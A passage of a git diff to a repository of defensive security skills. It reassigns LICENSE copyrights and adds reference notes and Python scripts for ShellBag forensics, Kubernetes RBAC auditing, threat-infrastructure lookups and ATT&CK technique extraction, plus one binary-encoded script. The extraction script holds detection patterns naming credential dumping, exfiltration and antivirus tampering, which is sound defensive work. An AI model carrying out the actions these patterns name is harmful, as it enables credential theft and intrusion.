associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-windows-lnk-files-for-artifacts/LICENSE b/skills/analyzing-windows-lnk-files-for-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-windows-lnk-files-for-artifacts/LICENSE +++ b/skills/analyzing-windows-lnk-files-for-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-windows-registry-for-artifacts/LICENSE b/skills/analyzing-windows-registry-for-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-windows-registry-for-artifacts/LICENSE +++ b/skills/analyzing-windows-registry-for-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-windows-shellbag-artifacts/LICENSE b/skills/analyzing-windows-shellbag-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-windows-shellbag-artifacts/LICENSE +++ b/skills/analyzing-windows-shellbag-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-windows-shellbag-artifacts/references/api-reference.md b/skills/analyzing-windows-shellbag-artifacts/references/api-reference.md new file mode 100644 index 00000000..2a6ece03 --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/references/api-reference.md @@ -0,0 +1,83 @@ +# API Reference: Windows ShellBag Forensics + +## SBECmd (Eric Zimmerman) + +### Syntax +```bash +SBECmd.exe -d # Process directory of hives +SBECmd.exe --hive # Single hive +SBECmd.exe -d --csv # CSV export +SBECmd.exe -d -l # Live system registry +``` + +### Output Fields +| Field | Description | +|-------|-------------| +| AbsolutePath | Full reconstructed folder path | +| CreatedOn | Folder creation timestamp | +| ModifiedOn | Folder modification timestamp | +| AccessedOn | Folder access timestamp | +| MFTEntryNumber | NTFS MFT reference | +| ShellType | Folder, network, zip, etc. | + +## ShellBags Explorer (GUI) + +### Features +- Tree view of folder access history +- Timeline view of access patterns +- Filtering by date range +- Export to CSV/JSON + +## Registry Paths + +### NTUSER.DAT +``` +Software\Microsoft\Windows\Shell\BagMRU +Software\Microsoft\Windows\Shell\Bags +Software\Microsoft\Windows\ShellNoRoam\BagMRU +``` + +### UsrClass.dat +``` +Local Settings\Software\Microsoft\Windows\Shell\BagMRU +Local Settings\Software\Microsoft\Windows\Shell\Bags +``` + +## regipy (Python) + +### Installation +```bash +pip install regipy +``` + +### Usage +```python +from regipy.registry import RegistryHive + +hive = RegistryHive("NTUSER.DAT") +key = hive.get_key("Software\Microsoft\Windows\Shell\BagMRU") +for value in key.iter_values(): + print(value.name, type(value.value)) +``` + +## Shell Item Types +| Type Byte | Description | +|-----------|-------------| +| 0x1F | Root folder (GUID - Desktop, My Computer) | +| 0x2F | Volume (drive letter) | +| 0x31 | File entry (directory) | +| 0x32 | File entry (file) | +| 0x41 | Network location | +| 0x42 | Compressed folder | +| 0x46 | Network share (UNC path) | +| 0x71 | Control Panel item | + +## Forensic Value +| Artifact | Intelligence | +|----------|-------------| +| Network paths | Remote share access (lateral movement) | +| USB paths | Removable media (data exfiltration) | +| Deleted folders | Evidence of anti-forensics awareness | +| Temp directories | Staging areas for tools/malware | +| AppData paths | Persistence mechanism locations | +| Recycle Bin | Awareness of deleted content | diff --git a/skills/analyzing-windows-shellbag-artifacts/scripts/agent.py b/skills/analyzing-windows-shellbag-artifacts/scripts/agent.py new file mode 100644 index 0000000000000000000000000000000000000000..a59581ce31d6c8d0ceb77bb619fc087268e1aac8 GIT binary patch literal 6348 zcmbVQZBN_C7T(WD{D-;hhjF$LNSAi6P~i#+El7nT0=l{zBFiKb;>Gb;GY*h)`S15R z^J0$;Y40|>D)#uizs))4*MDrzwc5N%^G%W8vtm(BW&Zo>%G%o6ztemyA2jPvMV1{T zw=7X*I!Q()OY$UJ=v1@hR^(-Ob!BzsJW*N%uu9yfx>Sn_NwZQiB}OvG@f<`ZG8+rU zlF>+L&8C2sYO%h$GEM38B0&L?E1eZml}zgDQ7`J}zqHKj4@R!)b(-jDmflqF&vlkx!$y*^DxN@~1ayQsW2 zQF)E9JiWN$2pg}>|AnLf7RH&pkjd<4c-5E{$DxyzBke|6qIFB-LOWO{RsFoX%eEXCc}R(Ju5xxJ za~ERGxE6&RO%W8HRo6d6z4u$abw>YpYG02G^ZCE4aC>um)D zoH&u?`-U0ZPB%rQNi|E#sKeec{wKFAT{=Wx?}eIV^12vE_$AdhC5_2uGv`+-A`bJotq~9DcGFOZ55bMvhhQmn}4%>A&kOcJe`czbmQq`N)%z`qOCo>Vt z$wUisX>Ysv721aYA6^Zq1}TB-+y+v2f^H+a;lDuEfJn>ugzUKx?p_GnGK**A71UES z0x{7x8k*=0IPI8c5FK{MC>vuD@kEc(6!HkVhxIO3qR5hw;7%yu!iRG?;*HY1ltV{G|u;RO>GrT&>>}$|k=6%Jq2CT)FEbFc6`mPu) z+O%a?i|Xb0S+mjw^7uzD5W%w!^5&yN&d7|NC%MRcwMG^CKGs!!m&*sTw>6!+4J`fo z4zzXqCb^xdd3>K_bJ48asKy#r9=JMNrH8A44^v8NcN*jb+h|nzsw{%k4~n{_)l6ky zdF-{&ymZN5H%cUTb%Yphlmae12A1ZI6Z1`7rJYtp!x(}R_Qg$BkqZI}5?O@62}Ffp zbvG#rIR?A-jhRHgxmy)3(y{G|qba&y6O=yrD7JAq)O~OumUF!K zAmKtw->y?59nkaQ(B%{Q9UTJ=D%1E@$$7z0{hPgR*MyFayg+0N!hyg>P{OG31L+8` z*(T8m{qDp9a+0{+TT#Y%jXbr$q!!i`PC&E>`;R1v5s<_HSQmy?Hrksadj$WN0uMtP zk{u&iWJp*|*V)aY6gpJbrU@J|P3`DP`sB1Zo%vgxK;T65m;$l>w;gMu()G!RX z^dB|yV^LySjrCj?=_r+RZ4}m#X-8r87=ye@Yj@FgOall!hk8_=7#OUVw4G@aA6-X}Mnq zVifWLrlZk>aL(z?4A`$AxC?<&j$&p(IoFP&AWX?%2$IOaQkjZ)(20Q=H!~LFn6v_z zMqgo|I$exhLWTV}$pHFfBn&)4k5pPv2W3R6BfXB+KrTuab43|+!XQao00iVS!CzT! zVL_k5pPyxTkR~Qrf>3Y3n~yu8&JDYK-xkY=R;psE3JkIgTnmh{X}JJ2KR)?<%*iCY z3Lj?`vacQL`03H%$<=ANJ@Gm{w<;H%2Tg~oOWv5aFo9WYDrX!s^m#mvXGxmJF?Vh# z6fz*kjS0?Gwh=Tm8_4BeoIfNZT%+?+3kVGWJIu%qu->$a(<+8&F^3@Db4TCUuv>qbnX!&2(fx zhBv8`Vs&M3cy#)8$gVV2u{&;k>(;Wxf_*rSaVe zxAyfyLgU|t%((a)+y@D*aVmVu8{A{?#M0i-nX^fl$eNOOfK9g}0_wCeaBm&MBgDew zu(7e>7Y_S&lYMMA*$iL2NldMzWO9@Sv|I>E4Rs3;*mQBN^61W5<9evp^G{k>J0qNAUWGs!yEm{i@7j_$sHGMaE>FYUjDr pHU#>`yeg`LonFHdq3Dyrny*i5Ly{Z^Rei$=yn_?U6TFbA{|6M9FP8uS literal 0 HcmV?d00001 diff --git a/skills/auditing-aws-s3-bucket-permissions/LICENSE b/skills/auditing-aws-s3-bucket-permissions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-aws-s3-bucket-permissions/LICENSE +++ b/skills/auditing-aws-s3-bucket-permissions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-azure-active-directory-configuration/LICENSE b/skills/auditing-azure-active-directory-configuration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-azure-active-directory-configuration/LICENSE +++ b/skills/auditing-azure-active-directory-configuration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-cloud-with-cis-benchmarks/LICENSE b/skills/auditing-cloud-with-cis-benchmarks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-cloud-with-cis-benchmarks/LICENSE +++ b/skills/auditing-cloud-with-cis-benchmarks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-gcp-iam-permissions/LICENSE b/skills/auditing-gcp-iam-permissions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-gcp-iam-permissions/LICENSE +++ b/skills/auditing-gcp-iam-permissions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-kubernetes-cluster-rbac/LICENSE b/skills/auditing-kubernetes-cluster-rbac/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-kubernetes-cluster-rbac/LICENSE +++ b/skills/auditing-kubernetes-cluster-rbac/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-kubernetes-rbac-permissions/LICENSE b/skills/auditing-kubernetes-rbac-permissions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-kubernetes-rbac-permissions/LICENSE +++ b/skills/auditing-kubernetes-rbac-permissions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/auditing-kubernetes-rbac-permissions/references/api-reference.md b/skills/auditing-kubernetes-rbac-permissions/references/api-reference.md new file mode 100644 index 00000000..99bf3f77 --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Kubernetes RBAC Audit + +## Python Kubernetes Client +```python +from kubernetes import client, config +config.load_kube_config() +rbac = client.RbacAuthorizationV1Api() +core = client.CoreV1Api() +``` + +## RBAC API Calls +| Method | Description | +|--------|-------------| +| `rbac.list_cluster_role()` | List all ClusterRoles | +| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings | +| `rbac.list_namespaced_role(ns)` | List Roles in namespace | +| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace | + +## ClusterRole Rule Structure +```python +role.rules[0].verbs # ["get", "list", "watch"] +role.rules[0].resources # ["pods", "secrets"] +role.rules[0].api_groups # ["", "apps"] +``` + +## Dangerous RBAC Permissions +| Permission | Risk | +|------------|------| +| `* / *` (all verbs, resources) | Full cluster admin | +| `create` on `pods/exec` | Remote code execution | +| `get` on `secrets` | Credential theft | +| `bind` on `clusterroles` | Privilege escalation | +| `impersonate` on users | Identity spoofing | +| `escalate` on roles | Self-privilege escalation | + +## Subject Types +| Kind | Description | +|------|-------------| +| User | Human user identity | +| Group | User group (e.g., system:authenticated) | +| ServiceAccount | Pod identity | + +## Risky Groups +| Group | Risk | +|-------|------| +| `system:unauthenticated` | Anonymous access | +| `system:authenticated` | Any authenticated user | +| `system:masters` | Full cluster admin | + +## kubectl RBAC Commands +```bash +kubectl auth can-i --list +kubectl get clusterrolebindings -o json +kubectl auth can-i create pods --as=system:serviceaccount:default:default +``` diff --git a/skills/auditing-kubernetes-rbac-permissions/scripts/agent.py b/skills/auditing-kubernetes-rbac-permissions/scripts/agent.py new file mode 100644 index 00000000..1d205ace --- /dev/null +++ b/skills/auditing-kubernetes-rbac-permissions/scripts/agent.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations.""" + +import json +import logging +import argparse +from datetime import datetime + +from kubernetes import client, config + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"} +DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"} + + +def load_kube_config(kubeconfig=None): + """Load Kubernetes configuration.""" + if kubeconfig: + config.load_kube_config(config_file=kubeconfig) + else: + try: + config.load_incluster_config() + except config.ConfigException: + config.load_kube_config() + return client.RbacAuthorizationV1Api(), client.CoreV1Api() + + +def audit_cluster_roles(rbac_api): + """Audit ClusterRoles for overly permissive rules.""" + findings = [] + roles = rbac_api.list_cluster_role() + for role in roles.items: + if role.metadata.name.startswith("system:"): + continue + for rule in (role.rules or []): + verbs = set(rule.verbs or []) + resources = set(rule.resources or []) + api_groups = rule.api_groups or [""] + if "*" in verbs and "*" in resources: + findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}}) + elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES: + findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}}) + logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings)) + return findings + + +def audit_role_bindings(rbac_api): + """Audit ClusterRoleBindings for excessive privilege grants.""" + findings = [] + bindings = rbac_api.list_cluster_role_binding() + for binding in bindings.items: + if binding.metadata.name.startswith("system:"): + continue + role_ref = binding.role_ref + subjects = binding.subjects or [] + for subject in subjects: + if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount": + findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"}) + if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"): + findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"}) + return findings + + +def audit_service_accounts(core_api, rbac_api): + """Audit service accounts for default token mounting and elevated permissions.""" + findings = [] + sas = core_api.list_service_account_for_all_namespaces() + for sa in sas.items: + if sa.metadata.name == "default": + if sa.automount_service_account_token is not False: + findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"}) + return findings + + +def generate_report(role_findings, binding_findings, sa_findings): + """Generate RBAC audit report.""" + all_findings = role_findings + binding_findings + sa_findings + critical = [f for f in all_findings if f.get("severity") == "critical"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_findings": len(all_findings), + "critical": len(critical), + "role_findings": role_findings, + "binding_findings": binding_findings, + "service_account_findings": sa_findings, + } + print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent") + parser.add_argument("--kubeconfig", help="Path to kubeconfig file") + parser.add_argument("--output", default="rbac_report.json") + args = parser.parse_args() + + rbac_api, core_api = load_kube_config(args.kubeconfig) + role_findings = audit_cluster_roles(rbac_api) + binding_findings = audit_role_bindings(rbac_api) + sa_findings = audit_service_accounts(core_api, rbac_api) + report = generate_report(role_findings, binding_findings, sa_findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/auditing-terraform-infrastructure-for-security/LICENSE b/skills/auditing-terraform-infrastructure-for-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/auditing-terraform-infrastructure-for-security/LICENSE +++ b/skills/auditing-terraform-infrastructure-for-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/automating-ioc-enrichment/LICENSE b/skills/automating-ioc-enrichment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/automating-ioc-enrichment/LICENSE +++ b/skills/automating-ioc-enrichment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-adversary-infrastructure-tracking-system/LICENSE b/skills/building-adversary-infrastructure-tracking-system/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-adversary-infrastructure-tracking-system/LICENSE +++ b/skills/building-adversary-infrastructure-tracking-system/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-adversary-infrastructure-tracking-system/references/api-reference.md b/skills/building-adversary-infrastructure-tracking-system/references/api-reference.md new file mode 100644 index 00000000..5f30b170 --- /dev/null +++ b/skills/building-adversary-infrastructure-tracking-system/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Adversary Infrastructure Tracking + +## crt.sh (Certificate Transparency) +``` +GET https://crt.sh/?q=%.example.com&output=json +``` +| Field | Description | +|-------|-------------| +| `issuer_name` | Certificate issuer | +| `name_value` | SANs / common names | +| `serial_number` | Certificate serial | +| `not_before` / `not_after` | Validity period | + +## URLhaus API +``` +POST https://urlhaus-api.abuse.ch/v1/host/ +Body: host=example.com +``` +Returns malicious URLs hosted on the domain. + +## ThreatFox API +``` +POST https://threatfox-api.abuse.ch/api/v1/ +Body: {"query": "search_ioc", "search_term": "1.2.3.4"} +``` +| Field | Description | +|-------|-------------| +| `ioc` | IOC value | +| `threat_type` | botnet_cc, payload_delivery, etc. | +| `malware` | Associated malware family | +| `tags` | IOC tags | + +## Pivoting Techniques +| Pivot | Method | +|-------|--------| +| Certificate SANs | crt.sh wildcard search | +| Shared IP | PassiveTotal, VirusTotal | +| WHOIS registrant | WHOIS history | +| DNS history | PassiveDNS (Farsight, CIRCL) | +| JARM fingerprint | TLS server fingerprinting | +| HTTP response hash | Favicon hash, body hash | + +## Infrastructure Relationships +| Edge Type | Description | +|-----------|-------------| +| shared_certificate | Same TLS cert on different hosts | +| shared_ip | Multiple domains on same IP | +| shared_registrant | Same WHOIS registrant | +| shared_nameserver | Same NS records | + +## MITRE ATT&CK +- T1583 - Acquire Infrastructure +- T1584 - Compromise Infrastructure diff --git a/skills/building-adversary-infrastructure-tracking-system/scripts/agent.py b/skills/building-adversary-infrastructure-tracking-system/scripts/agent.py new file mode 100644 index 00000000..b0871aae --- /dev/null +++ b/skills/building-adversary-infrastructure-tracking-system/scripts/agent.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +"""Adversary Infrastructure Tracking Agent - Tracks threat actor infrastructure using passive DNS and certificate transparency.""" + +import json +import logging +import argparse +from datetime import datetime +from collections import defaultdict + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def query_crtsh(domain): + """Query crt.sh certificate transparency for domain certificates.""" + resp = requests.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=30) + resp.raise_for_status() + certs = resp.json() + logger.info("crt.sh: %d certificates for %s", len(certs), domain) + return certs + + +def query_urlhaus(ioc, ioc_type="host"): + """Query URLhaus for malicious URL hosting information.""" + resp = requests.post("https://urlhaus-api.abuse.ch/v1/host/", data={ioc_type: ioc}, timeout=15) + resp.raise_for_status() + return resp.json() + + +def query_threatfox(ioc): + """Query ThreatFox for IOC intelligence.""" + resp = requests.post("https://threatfox-api.abuse.ch/api/v1/", json={"query": "search_ioc", "search_term": ioc}, timeout=15) + resp.raise_for_status() + return resp.json() + + +def pivot_on_certificate(cert_data): + """Pivot on certificate data to find related infrastructure.""" + related_domains = set() + issuers = defaultdict(list) + for cert in cert_data: + name_value = cert.get("name_value", "") + for domain in name_value.split("\n"): + domain = domain.strip().lstrip("*.") + if domain: + related_domains.add(domain) + issuer = cert.get("issuer_name", "") + issuers[issuer].append(cert.get("serial_number", "")) + return {"related_domains": sorted(related_domains), "issuers": {k: len(v) for k, v in issuers.items()}} + + +def build_infrastructure_map(seed_iocs, ioc_types): + """Build infrastructure map from seed IOCs.""" + infra_map = {"nodes": [], "edges": [], "iocs": {}} + for ioc, itype in zip(seed_iocs, ioc_types): + node = {"ioc": ioc, "type": itype, "sources": []} + if itype == "domain": + try: + certs = query_crtsh(ioc) + pivot = pivot_on_certificate(certs) + node["ct_domains"] = pivot["related_domains"][:20] + node["sources"].append("crt.sh") + for related in pivot["related_domains"][:5]: + infra_map["edges"].append({"from": ioc, "to": related, "relation": "shared_certificate"}) + except requests.RequestException as e: + node["ct_error"] = str(e) + try: + urlhaus = query_urlhaus(ioc, "host" if itype == "domain" else "host") + if urlhaus.get("query_status") == "ok" and urlhaus.get("urls"): + node["urlhaus_urls"] = len(urlhaus.get("urls", [])) + node["sources"].append("urlhaus") + except requests.RequestException: + pass + try: + tf = query_threatfox(ioc) + if tf.get("query_status") == "ok" and tf.get("data"): + node["threatfox_hits"] = len(tf["data"]) + node["sources"].append("threatfox") + except requests.RequestException: + pass + infra_map["nodes"].append(node) + infra_map["iocs"][ioc] = node + return infra_map + + +def generate_report(infra_map, seed_iocs): + """Generate infrastructure tracking report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "seed_iocs": seed_iocs, + "nodes_discovered": len(infra_map["nodes"]), + "edges_discovered": len(infra_map["edges"]), + "infrastructure_map": infra_map, + } + print(f"INFRA REPORT: {len(infra_map['nodes'])} nodes, {len(infra_map['edges'])} edges") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Adversary Infrastructure Tracking Agent") + parser.add_argument("--iocs", nargs="+", required=True, help="Seed IOCs (domains/IPs)") + parser.add_argument("--types", nargs="+", required=True, help="IOC types (domain/ip)") + parser.add_argument("--output", default="infra_tracking_report.json") + args = parser.parse_args() + + infra_map = build_infrastructure_map(args.iocs, args.types) + report = generate_report(infra_map, args.iocs) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-attack-pattern-library-from-cti-reports/LICENSE b/skills/building-attack-pattern-library-from-cti-reports/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-attack-pattern-library-from-cti-reports/LICENSE +++ b/skills/building-attack-pattern-library-from-cti-reports/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md b/skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md new file mode 100644 index 00000000..dab79d73 --- /dev/null +++ b/skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Attack Pattern Library from CTI Reports + +## Technique Extraction Patterns +| Technique | Regex Pattern | +|-----------|--------------| +| T1566.001 | `spearphish.*attach` | +| T1059.001 | `powershell`, `invoke-expression` | +| T1053.005 | `scheduled task`, `schtasks` | +| T1547.001 | `registry run key`, `CurrentVersion\\Run` | +| T1003.001 | `lsass`, `credential dump`, `mimikatz` | +| T1486 | `ransomware encrypt` | +| T1048 | `exfiltration`, `data theft` | + +## IOC Extraction Regex +| IOC Type | Pattern | +|----------|---------| +| IPv4 | `\b(?:\d{1,3}\.){3}\d{1,3}\b` | +| Domain | `[a-zA-Z0-9-]+\.(?:com\|net\|org)` | +| MD5 | `[a-fA-F0-9]{32}` | +| SHA-256 | `[a-fA-F0-9]{64}` | +| Defanged URL | `hxxps?://[^\s]+` | +| Explicit technique | `T\d{4}(?:\.\d{3})?` | + +## STIX Attack Pattern +```json +{ + "type": "attack-pattern", + "name": "Spearphishing Attachment", + "external_references": [ + {"source_name": "mitre-attack", "external_id": "T1566.001"} + ], + "kill_chain_phases": [ + {"phase_name": "initial-access"} + ] +} +``` + +## Library Output Structure +| Field | Description | +|-------|-------------| +| `technique_frequency` | Count per technique across reports | +| `technique_report_map` | Which reports mention each technique | +| `total_unique_techniques` | Distinct techniques found | + +## MITRE ATT&CK STIX Data +``` +https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +``` diff --git a/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py b/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py new file mode 100644 index 00000000..3884a991 --- /dev/null +++ b/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +"""Attack Pattern Library Builder Agent - Extracts attack patterns from CTI reports and maps to MITRE ATT&CK.""" + +import json +import re +import logging +import argparse +from datetime import datetime +from collections import Counter, defaultdict + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +TECHNIQUE_PATTERNS = { + "T1566.001": [r"spearphish(?:ing)?\s+attach", r"malicious\s+(?:email\s+)?attachment"], + "T1566.002": [r"spearphish(?:ing)?\s+link", r"phishing\s+(?:url|link)"], + "T1059.001": [r"powershell", r"invoke-(?:expression|command|webrequest)"], + "T1059.003": [r"cmd\.exe", r"command\s+(?:prompt|shell|line)"], + "T1053.005": [r"scheduled\s+task", r"schtasks"], + "T1547.001": [r"registry\s+run\s+key", r"autostart", r"CurrentVersion\\\\Run"], + "T1003.001": [r"lsass", r"credential\s+dump", r"mimikatz"], + "T1021.001": [r"remote\s+desktop", r"rdp\s+lateral"], + "T1021.002": [r"smb\s+share", r"admin\s*\$", r"C\s*\$\s+share"], + "T1071.001": [r"http\s+c2", r"web\s+(?:beacon|c2)", r"https?\s+callback"], + "T1486": [r"encrypt(?:ion|ed)\s+(?:file|data)", r"ransomware\s+encrypt"], + "T1048": [r"exfiltrat(?:e|ion)", r"data\s+(?:theft|steal|upload)"], + "T1105": [r"download(?:ed)?\s+(?:payload|malware|tool)", r"ingress\s+tool\s+transfer"], + "T1027": [r"obfuscat(?:e|ion|ed)", r"encoded\s+(?:payload|script)"], + "T1562.001": [r"disable\s+(?:antivirus|defender|security)", r"tamper\s+protection"], +} + + +def extract_techniques_from_text(text): + """Extract MITRE ATT&CK techniques from report text.""" + text_lower = text.lower() + matched = {} + for tech_id, patterns in TECHNIQUE_PATTERNS.items(): + for pattern in patterns: + if re.search(pattern, text_lower): + matched[tech_id] = {"pattern_matched": pattern, "technique_id": tech_id} + break + explicit = re.findall(r"T\d{4}(?:\.\d{3})?", text) + for tid in explicit: + if tid not in matched: + matched[tid] = {"pattern_matched": "explicit_reference", "technique_id": tid} + return matched + + +def extract_iocs_from_text(text): + """Extract IOCs from report text.""" + iocs = { + "ips": list(set(re.findall(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", text))), + "domains": list(set(re.findall(r"\b(?:[a-zA-Z0-9-]+\.)+(?:com|net|org|io|xyz|top|info|ru|cn)\b", text))), + "hashes_md5": list(set(re.findall(r"\b[a-fA-F0-9]{32}\b", text))), + "hashes_sha256": list(set(re.findall(r"\b[a-fA-F0-9]{64}\b", text))), + "urls": list(set(re.findall(r"hxxps?://[^\s<>\"]+", text))), + } + return iocs + + +def process_report(report_text, report_name=""): + """Process a single CTI report to extract attack patterns.""" + techniques = extract_techniques_from_text(report_text) + iocs = extract_iocs_from_text(report_text) + return { + "report_name": report_name, + "techniques_found": len(techniques), + "technique_ids": list(techniques.keys()), + "technique_details": techniques, + "ioc_counts": {k: len(v) for k, v in iocs.items()}, + "iocs": iocs, + } + + +def build_pattern_library(processed_reports): + """Build a consolidated attack pattern library from multiple reports.""" + technique_frequency = Counter() + technique_reports = defaultdict(list) + for report in processed_reports: + for tid in report["technique_ids"]: + technique_frequency[tid] += 1 + technique_reports[tid].append(report["report_name"]) + library = { + "technique_frequency": dict(technique_frequency.most_common()), + "technique_report_map": {t: r for t, r in technique_reports.items()}, + "total_unique_techniques": len(technique_frequency), + "total_reports_processed": len(processed_reports), + } + return library + + +def generate_report(processed_reports, library): + """Generate attack pattern library report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "library": library, + "report_details": processed_reports, + } + print(f"PATTERN LIBRARY: {library['total_unique_techniques']} techniques from {library['total_reports_processed']} reports") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Attack Pattern Library Builder Agent") + parser.add_argument("--report-files", nargs="+", required=True, help="CTI report text files") + parser.add_argument("--output", default="pattern_library.json") + args = parser.parse_args() + + processed = [] + for filepath in args.report_files: + with open(filepath, 